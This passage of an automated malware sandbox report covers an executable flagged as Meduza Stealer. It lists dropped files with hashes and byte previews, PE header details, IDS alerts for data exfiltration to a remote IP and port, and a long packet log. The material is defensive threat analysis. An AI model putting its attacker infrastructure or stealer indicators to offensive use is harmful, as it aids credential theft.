SHA-256:	5AB4CA40805EFE83B7A295B44F5238CDBDF453D75C9D619797AF8C283029EE14
SHA-512:	0AAD494EEDAE767A3C7B1E93B61B4971EACAEF8AF40776E148037DDAFCD3A91DDD91DA8B2A4756F3F761AD6491C35227CA3FA8586D0B8D02C062CAF996D2E75F
Malicious:	false
Reputation:	low
Preview:	@...e.................................,..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Download File

Process:	C:\Users\user\Desktop\9RM52QaURq.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2632704
Entropy (8bit):	3.734500250570844
Encrypted:	false
SSDEEP:	24576:MoEKQByjnqh0lhSMXlybSXuRVRoTahOpEfc:jLzjneSan
MD5:	183E24B654414D7BE786CCD8E6A108A5
SHA1:	A18E6D0F9D1E67F404985ADFA2CC6D756E8680AC
SHA-256:	69F8CEA7A5B6E5DE711E9849F4BC0244F1344966364520BC12987F1B90013754
SHA-512:	8CB2D66A7FFE9E84B9BACE8BBD859F050FBF7DC0CB9C4A262BF3467A39D3DB43272D40A071FD2867E84A4CD262BAA6E5347A46556DCAE1A1BFFA0497A147850B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Joe Sandbox View:	Filename: HZ1BUCfTne.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........T...5...5...5.......5.......5.......5...M..H5...M...5...M...5......5.......5...M...5...5..h5.......5.......5.......5..Rich.5..................PE..d....O4g.........."....).j....$................@..............................(...........`.................................................T.'.d....`(......0(.p,...........p(.P.....'.8.............................'.@............................................text....h.......j.................. ..`.rdata...p$......r$..n..............@..@.data....(....(.......'.............@....pdata..p,...0(.......'.............@..@.rsrc........`(...... (.............@..@.reloc..P....p(......"(.............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cflg0b31.pyf.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n5gq1h4a.jxy.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vqq2suem.b1j.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xhdudhso.zym.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.982896837473748
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	9RM52QaURq.exe
File size:	37'376 bytes
MD5:	9913a016528f9d9c4aac737c6a06c596
SHA1:	197435ebdeab5f6df6e10d1c5aec40812cb9dfdf
SHA256:	ca53439dbc9699e109a1810227c124dadca4066758511727be95e57b8ce3bc0f
SHA512:	d7013c2edf7245989e1a38e9f4a85aa22e4168c609920d73ecbd9f9006a9060ab78e2ef77a7d22371404b0241a36103b4824287ddb263a495303df12f99c6791
SSDEEP:	768:vdfxnLzsA5NVk9FrHE7be6C5jLjkmBcgYcV6kizh:vdfxnLd5yB5jFco6kiz
TLSH:	FCF2F74063F85225FAFB3F74A8B516240F76BC6AAD39E65C3588108E1AB2F54C970773
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...t............."...0..x..........b.... ........@.. ....................................`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x409662
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xB9F2BE74 [Fri Nov 9 13:30:28 2068 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9610	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa000	0x1514	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x9574	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x7668	0x7800	6242d7b63f2b88ad2a0015f8e3e95be8	False	0.37470703125	data	4.788650567844553	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa000	0x1514	0x1600	8549064275cae1a1a2e77bb59446ca21	False	0.3854758522727273	data	5.3792251226562655	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xc000	0xc	0x200	09bd080e14f154bbaf62e06d6b1d885c	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xa090	0x34c	data			0.4087677725118483
RT_MANIFEST	0xa3ec	0x1123	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.4043765671301573

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-15T10:28:51.927747+0100	2049441	ET MALWARE Win32/Unknown Grabber Base64 Data Exfiltration Attempt	1	192.168.2.4	53976	45.130.145.152	15666	TCP
2024-11-15T10:28:51.927747+0100	2050806	ET MALWARE [ANY.RUN] Meduza Stealer Exfiltration M2	1	192.168.2.4	53976	45.130.145.152	15666	TCP
2024-11-15T10:28:51.927747+0100	2050807	ET MALWARE [ANY.RUN] Possible Meduza Stealer Exfiltration (TCP)	1	192.168.2.4	53976	45.130.145.152	15666	TCP
2024-11-15T10:28:51.932774+0100	2050806	ET MALWARE [ANY.RUN] Meduza Stealer Exfiltration M2	1	192.168.2.4	53976	45.130.145.152	15666	TCP
2024-11-15T10:28:51.932774+0100	2050807	ET MALWARE [ANY.RUN] Possible Meduza Stealer Exfiltration (TCP)	1	192.168.2.4	53976	45.130.145.152	15666	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 15, 2024 10:28:13.226176977 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:13.231159925 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:13.231293917 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:13.232213974 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:13.237308979 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.136056900 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.136115074 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.136152029 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.136182070 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.136184931 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.136220932 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.136236906 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.136254072 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.136288881 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.136300087 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.136322975 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.136357069 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.136365891 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.136395931 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.136440039 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.141387939 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.192424059 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.264849901 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.264870882 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.264884949 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.264936924 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.269421101 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.269465923 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.269474030 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.269505024 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.269550085 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.279233932 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.279396057 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.279427052 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.279448032 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.287458897 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.287499905 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.287543058 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.292037010 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.292074919 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.292084932 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.292112112 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.292162895 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.301467896 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.301503897 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.301538944 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.301551104 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.310252905 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.310297966 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.310327053 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.364310026 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.388540983 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.388556957 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.388739109 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.392416000 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.392498970 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.392548084 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.392565012 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.392574072 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.392613888 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.394305944 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.394315004 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.394362926 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.401498079 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.401530027 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.401583910 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.408263922 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.408293962 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.408344984 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.415199995 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.415230989 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.415282011 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.415282965 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.415329933 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.415379047 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.415992022 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.416021109 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.416064024 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.424664974 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.424734116 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.424767971 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.424784899 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.473675966 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.478384018 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.478423119 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.478480101 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.511053085 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.511089087 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.511126041 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.511135101 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.515650034 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.515697956 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.515702963 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.517560959 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.517596006 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.517605066 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.517631054 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.517680883 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.527642012 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.527684927 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.527734041 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.531439066 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.531491041 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.531552076 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.538610935 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.538640022 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.538685083 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.539076090 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.539150953 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.539192915 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.539205074 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.539233923 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.539274931 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.547673941 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.547724962 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.547792912 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.549151897 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.549285889 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.549340010 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.601790905 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.601840973 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.601923943 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.634294033 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.634334087 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.634404898 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.634890079 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.634921074 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.634974957 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.639055967 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.639086962 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.639141083 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.640707016 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.640738010 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.640784979 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.640996933 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.641026020 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.641077042 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.648813009 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.648854017 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.648916960 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.654727936 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.654758930 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.654813051 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.661881924 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.661911011 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.661964893 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.662266016 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.662321091 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.662353992 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.662367105 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.664530039 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.664561033 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.664592028 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.670866966 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.670896053 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.670933008 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.672174931 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.672225952 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.672234058 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.723704100 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.724746943 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.724786997 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.724843979 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.757364035 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.757404089 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.757464886 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.757555008 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.757632017 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.757678032 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.762200117 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.762232065 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.762290001 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.764056921 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.764086962 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.764138937 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.771361113 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.771419048 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.771456957 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.771471024 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:15.777826071 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.777878046 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:15.777885914 CET	49736	80	192.168.2.4	150.241.95.163
